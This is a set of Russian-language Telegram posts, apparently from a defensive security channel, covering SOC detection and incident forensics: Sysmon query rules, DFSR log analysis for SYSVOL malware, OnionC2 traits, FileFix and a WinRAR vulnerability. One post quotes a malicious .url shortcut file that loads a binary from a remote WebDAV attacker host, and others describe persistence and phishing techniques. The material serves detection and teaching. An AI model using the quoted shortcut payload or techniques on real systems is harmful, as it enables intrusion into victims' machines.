Всем привет 💻✌️

Давайте сегодня поговорим о теме абстракции, касательно всех команд SOC. Тема не новая, но многие забывают о ней или не осознают ее значимость.

Абстракция - это концепция, с помощью которой детали реализации скрыты от пользователя или автоматизированы для него

Для наглядного примера я взял скриншот из проекта AbstractionMaps.

💙 Детектирование может строиться на:

🔤 Используемых утилитах - эффективно, если корректно внедрен CTI, мы понимаем контекст того, какие группировки интересуются нашей организацией и следим за ними. Названия, метаинформация файлов, User-Agent'ы, сертификаты по умолчанию и т.п.

🔤 Утилиты строятся на использовании протоколов, API/WinAPI - так мы можем их обобщить и писать правила для обнаружения нескольких инструментов одновременно.

🔤 WinAPI под капотом часто использует RPC-интерфейсы и соответствующие методы.

🔤 В зависимости от выполняемых действий, на нижнем уровне могут быть обращения к файловой системе, реестру, сетевым протоколам.

Данный подход позволяет изучить исследуемый объект с нескольких сторон и сделать наши правила более универсальными.

❤️ Красной команде понимание абстракции важно при написании инструментов и повышении стелс-возможностей.

Рассмотрим процесс создания службы. Сколько вариантов вы можете назвать? 2-3 или больше? Например:

🔤 Утилита sc.exe create
🔤 Командлет New-Service
🔤 Invoke-PSExec

...и этот список можно продолжать бесконечно (yet another tool ✌️). А если углубиться ниже, все инструменты в конечном итоге используют одни и те же системные интерфейсы и их методы:

🔤 Вызов RPC, интерфейс UUID {367ABB81-9844-35F1-AD32-98F038001003}
🔤 Named pipe \PIPE\svcctl

Можно создать службу и через реестр), и тогда все вышеописанное окажется бесполезным).

Мы рассмотрели способы создания служб, но все созданное должно где-то храниться. В Windows основные конфигурации хранятся в реестре, остальные данные — в других структурах. Для эффективного детектирования нам нужно отслеживать создание ключей реестра, а также другие низкоуровневые события, опираясь на модель абстракции.

P.S. Эффективной практикой будет также отслеживание попыток изменения легитимных служб

#detection@detectioneasy

По информации от TI Bi.Zone ClickFix зафиксирован в кампаниях нацеленных на российские организации

Наши читатели были к этому готовы ✔️

#detection@detectioneasy

Познакомимся с regseek - это база данных важных ключей реестра с их описанием, насчитывает порядка 139 артефактов.

И зачем нам это❓

🔤 Оценить качество собираемых событий. В репозитории артефакты разделены по доменам, понятно, что некоторые ключи могут быть не связаны напрямую с деятельностью APT и т.п., но помогут обнаружить нарушение политик ИБ

🔤Обогатить собираемые события (алерты) описанием из репозитория


#detection@detectioneasy

⚠️ В Internet Explorer RCE, достаточно кликнуть по ссылке)

Отчет от CheckPoint, для атаки используется URL-файл - да опять)

Содержимое:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

В целом ничего необычного, только iediagcmd.exe выполняет ряд команд:

ipconfig.exe /all
netsh.exe in tcp show global
netsh.exe advfirewall firewall show rule name=all verbose
route.exe print

В рабочей WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr хакеры размещают вредоносный route.exe, который и запускается после открытия файла

Также для атак использовался легитимный файл - CustomShellHost.exe

#detection@detectioneasy
#ttp@detectioneasy

🔭 Для обнаружения поведения выше воспользуемся правилами, которые описывали раннее и новыми:

🔤 ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and CurrentDirectory startswith "\\\\"

🔤 ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image startswith "\\\\"

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Интересная фишинговая кампания рассмотрена в блоге

Хакеры из Mustang Panda использовали DLL Sideloading, как бы Вы думали где? В Google Chrome

Для этого расположили dll - chrome_elf.dll в дирректории с номером версии - 101.0.4951.41\chrome_elf.dll, DLL-имеет невалидную цифровую подпись

🔤 ZIP-архив с вложенным Chrome, название которого мимикрирует под документ - The_Military_Balance_2025.exe и скрытая папка с атрибутами - hidden and system, что позволит скрыть дирректорию. В этой папке и хранится dll

🔤 Пользователь запускает исполняемый файл, происходит распаковка архива в %TEMP%, и загрузка вредоносной dll

🔭 Обнаружение

🔤 отслеживаем создание исполняемых файлов в temp с motw

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 15 and (TargetFilename endswith ".exe:Zone.Identifier" or TargetFilename endswith ".dll:Zone.Identifier" or TargetFilename endswith ".scr:Zone.Identifier" ) and Contents=".*ZoneId=3.*"

🔤 отслеживаем загрузку DLL без валидной подписи из одной дирректории с exe-файлом

ProviderName="Microsoft-Windows-Sysmon" and ImageLoadedPath startswith ImagePath and EventId = 7 and not (SignatureStatus = "Valid" and Signed=true)

sample

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Астрологи предсказывают неделю фишинга
Новая техника от mr.d0x альтернатива ClickFix - FileFix

#ttp@detectioneasy

Всем привет 💻✌️

🔭 Для обнаружения FileFix можем отслеживать цепочку процессов, например:

ProviderName="Microsoft-Windows-Security-Auditing" and  EventId = 4688 and ParentProcessName endswith "firefox.exe" and NewProcessName endswith "powershell.exe"

🎯 Похантить можем наличие подозрительных команд в ключе реестра:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths

#detection@detectioneasy

Вредоносы в SYSVOL: ищем источник 😐

Допустим, мы расследуем инцидент с шифровальщиком. Для запуска шифровальщика хакеры использовали групповую политику (например, прописали задачу планировщика). Сам вредонос они положили в папку SYSVOL на контроллере домена (DC).

🥷 Как понять, откуда действовал хакер? В этом посте сфокусируемся на файловом следе.

Логика простая: чтобы положить файл в SYSVOL, хакер должен был так или иначе «зайти» на DC. Поэтому смотрим, когда был создан файл (кстати, поэтому важно сначала собрать данные для расследования, а потом уже зачищать системы), и соотносим эту информацию с входами в систему.

Кажется, все просто, но есть нюанс: содержимое каталога SYSVOL реплицируется между DC с помощью DFSR (Distributed File System Replication). То есть хакеру достаточно положить вредоносный файл на один DC, а дальше система автоматически распространит его по всем остальным. Как понять, какой DC был исходным, особенно если DC много?

Посмотрим отладочные логи DFSR на произвольном DC из тех, на которых вредонос попал в папку SYSVOL. Обычно эти логи находятся в папке %systemroot%\debug, имена файлов имеют вид Dfsrxxxxx.log и Dfsrxxxxx.log.gz (.gz в Windows? Да!). Логи текстовые, вполне поддаются грепу, но при этом некоторые события имеют многострочный формат, — учитывайте это, если не хотите потерять контекст.

Поищем в логах имя нашего вредоноса (пусть это будет badfile.exe). Если мы нашли исходный DC с первого раза, мы должны найти в логах подобное сообщение:

20250526 02:44:24.906 5628 USNC  2871 UsnConsumer::CreateNewRecord LDB Inserting ID Record:
+  <...>
+  name                            badfile.exe

Если коротко, то оно свидетельствует о появлении нового файла в реплицируемой папке, то есть искомый файл был изначально размещен на этом DC. В этом случае можно переходить к последнему абзацу в посте ниже 🙂

Можно на всякий случай перепроверить это в журнале $UsnJrnl:$J:

badfile.exe,.exe,132035,6849,257939,4,.\Windows\SYSVOL\domain\scripts,52168700184,2025-05-25 23:44:23.6245532,FileCreate,Archive,436154648

Видно, что файл создается на файловой системе (FileCreate).

Если бы файл был реплицирован, это выглядело бы так:

2025-03-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,FILE_CREATE,archive,7|109885

2025-05-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,RENAME_OLD_NAME,archive,7|109885

2025-05-25 23:44:25 +0000 UTC,badfile.exe,Windows\SYSVOL\domain\scripts\badfile.exe,RENAME_NEW_NAME,archive,5|269425

Видно, что файл сначала создается в папке DFSR, а потом уже переносится в SYSVOL.

Если же вредонос был реплицирован на исследуемый DC, мы увидим в логах DFSR подобное сообщение:

20250526 02:44:24.949 4452 INCO  3065 InConnection::ReceiveUpdates Received: uid:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 gvsn:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 fileName:badfile.exe session:86382 connId:{C62DFB26-63FA-4E9F-B533-0F487BF8E043} csId:{F0285778-7EF8-4808-85D7-68223AA11FB5} csName:SYSVOL Share

Очень интересно, но ничего не понятно.

Продолжение в следующем посте 🔽

#ir #dfir #DFSR
@ptescalator

Продолжаем искать файловый след из поста выше 🐾

Чтобы понять, с какого DC реплицировался файл, нужно узнать, какому хосту соответствует указанный connId (это значение статично и соответствует однонаправленной связи между двумя машинами).

Как это сделать

1️⃣ Можно посмотреть таблицу соответствия в файле \System Volume Information\DFSR\Config\Replica_<GUID группы репликации>.XML. Поищем в нем наш connId и увидим примерно следующее:

<DfsrConnection>
  <ConnectionGuid>C62DFB26-63FA-4E9F-B533-0F487BF8E043</ConnectionGuid>
  <...>
  <PartnerName>DC02</PartnerName>
  <...>
  <PartnerDns>dc02.corp.local</PartnerDns>
  <...>
</DfsrConnection>

2️⃣ Можно поискать в логах DFSR события, содержащие одновременно интересующий нас connId и слова "partnerDns", "partnerName" или "partnerAddress". Можем обнаружить что-то типа:

20250314 01:22:31.307 6304 DOWN  3959 [ERROR] DownstreamTransport::EstablishConnection EstablishConnection failed. Check that the connection partner is valid. If not then recreate the connection with valid partner. connId:{C62DFB26-63FA-4E9F-B533-0F487BF8E043} rgName:Domain System Volume partnerName:DC02 partnerDns:dc02.corp.local

3️⃣ Если DC «живы», то информацию о GUID’ах можно извлечь с помощью утилиты Dfsradmin. Этот способ разбирать не будем — более подробно про логи DFSR можно почитать по ссылке.

Итак, в ходе расследования мы выяснили, что изначально вредоносный файл был размещен на DC02.

Дело за малым — узнать, кто и откуда заходил на этот DC и положил туда этот файл. Журналы ОС и SUM в помощь — никто не обещал, что будет легко! 🙂

#ir #dfir #DFSR
@ptescalator

Всем привет 💻✌️

mr.dox не дает отдыхать и выпускает FileFix2

Суть атаки - для решения captcha пользователю нужно сохранить html-страницу и при сохранении, поменять расширение на .HTA, файл сохранится без MoTW 😇

🔭 Для обнаружения FileFix2 отслеживаем цепочку процессов, например

mshta.exe -> powerhshell|cmd|cscript|curl|certutil - можно хоть весь LOLBAS перечислить

и запуск hta из директорий пользователя *:\Users\

#ttp@detectioneasy
#detection@detectioneasy

Всем привет 💻✌️

Давайте познакомимся со статьей trustedsec про использование встроенных VPN-клиентов в Windows.

Windows из коробки поддерживает клиенты для PPTP, L2TP, SSTP, IKev2 - не нужно приносить с собой сторонний клиент для организации доступа

🔭 Все не так страшно, мы можем относительно легко обнаружить такое поведение:

🔤 Доступ к файлу rasphone.pbk в:

 %appdata%\Microsoft\Network\Connections\Pbk\
C:\Users\All Users\Microsoft\Network\Connections\Pbk\rasphone.pbk
C:\ProgramData\Microsoft\Network\Connections\Pbk\rasphone.pbk

предварительно нужно настроить DACL

🔤 Отслеживаем события:

Channel="Application" and ProviderName="RasClient" and  (EventId = 20221 or EventId = 20222)

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️
Журнал за Q2

Всем привет 💻✌️
Давайте познакомимся с C2-фреймворком OnionC2

Основное преимущество OnionC2 перед аналогами, по мнению автора, — это использование сети Tor для связи сервера и клиента.

By utilizing the Tor network, it ensures that communications between the C2 server and remote systems remain secure, anonymous, and available

🔭 Для формирования гипотез обнаружения и Threat Hunting обратим внимание на следующие особенности агента:

🔤 Для проверки реального IP-адреса агент использует сервис https://checkip.amazonaws.com

🔤 Из коробки идет два варианта закрепа - реестр и Shortcut Takeover

🔤Для реестра, стандартно, отслеживаем создание ключей в *\Software\\Microsoft\\Windows\\CurrentVersion\Run\, имя ключа - Agent

🔤 Shortcut Takeover - для изменения (или создания нового) используется ярлык %USERPROFILE%\Desktop\Microsoft Edge, целевой файл ярлыка - путь до агента, а значение аргумента - --run-lnk, укажет агенту запустить C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe

🔤 Для выполнения команд используется cmd.exe /C

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Сталкивались ли вы с ситуацией, когда при расследовании инцидента цепочка приводит к хосту, который уже успели переустановить? 😱

Вспомнил полезное видео с PHD и решил дополнить список инструментов, которые помогут в таких случаях:

🔍 Основные из видео:
🔤 r-studio
🔤 photorec
🔤 strings

➕ Дополнение:
🔤 binwalk
🔤 Windows-Prefetch-Carver
🔤 EVTXtract
🔤 bulk_extractor
🔤 scalpel

А какие инструменты используете вы? Делитесь в комментах! 👇

#dfir@detectioneasy

Всем привет! 💻✌️
Обратили внимание, что жизненный цикл реагирования на инциденты от NIST обновился в NIST.SP.800-61r3? Новая версия руководства интегрирована с Cybersecurity Framework (CSF) 2.0

На рисунке показана высокоуровневая модель жизненного цикла реагирования на инциденты, основанная на шести функциях:
- Управление (Govern): Стратегия, ожидания и политика организации в области управления рисками кибербезопасности устанавливаются, доводятся до сведения и отслеживаются
- Идентификация (Identify): анализируются текущие риски
- Защита (Protect): используются меры защиты для управления рисками
- Обнаружение (Detection): выявляются и анализируются возможные инциденты
- Реагирование (Respond): принимаются меры по реагированию в отношении обнаруженного инцидента
- Восстановление (Recover): восстанавливаются активы и процессы, затронутые инцидентом

Все шесть функций взаимосвязаны и формируют непрерывный процесс, где подготовка (управление, идентификация, защита) служит фундаментом для комплексной системы защиты.

Подготовка (управление, идентификация, защита) теперь выделена в отдельный этап, который не входит в процесс реагирования, но является основой для предотвращения инцидентов и снижения их последствий.

Реагирование (обнаружение, реагирование, восстановление) организовано как отдельный цикл, что связано с развитием MSSP (Managed Security Service Providers) и MDR (Managed Detection and Response). Эти сервисы позволяют организациям передать на аутсорс мониторинг и реагирование на инциденты, что особенно важно для малого и среднего бизнеса.


#dfir@detectioneasy

Всем привет! 💻✌️

У коллег из BI.ZONE вышел отчет об использовании новых уязвимостей в WinRAR

Уязвимости использовались для получения доступа к хостам жертв - фишинг.

Письмо имеет вложение - rar-архив, который эксплуатирует CVE‑2025‑6218. Уязвимость позволяет вредоносному архиву при распаковке записывать файлы за пределами целевого каталога - значит мы можем закрепиться в папку автозагрузки текущего пользователя.

🔭 Обнаружение строится достаточно легко:

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 11 and Image endswith "winrar.exe" and TargetFilename = ".*\Microsoft\Windows\Start Menu\Programs\Startup\"

Если атакующие продвинутые можно комбнировать несколько процедур, например заменить LNK на рабочем столе или разместить там RDP-rogue файл... Это уже будет другое правило)

#detection@detectioneasy
#ttp@detectioneasy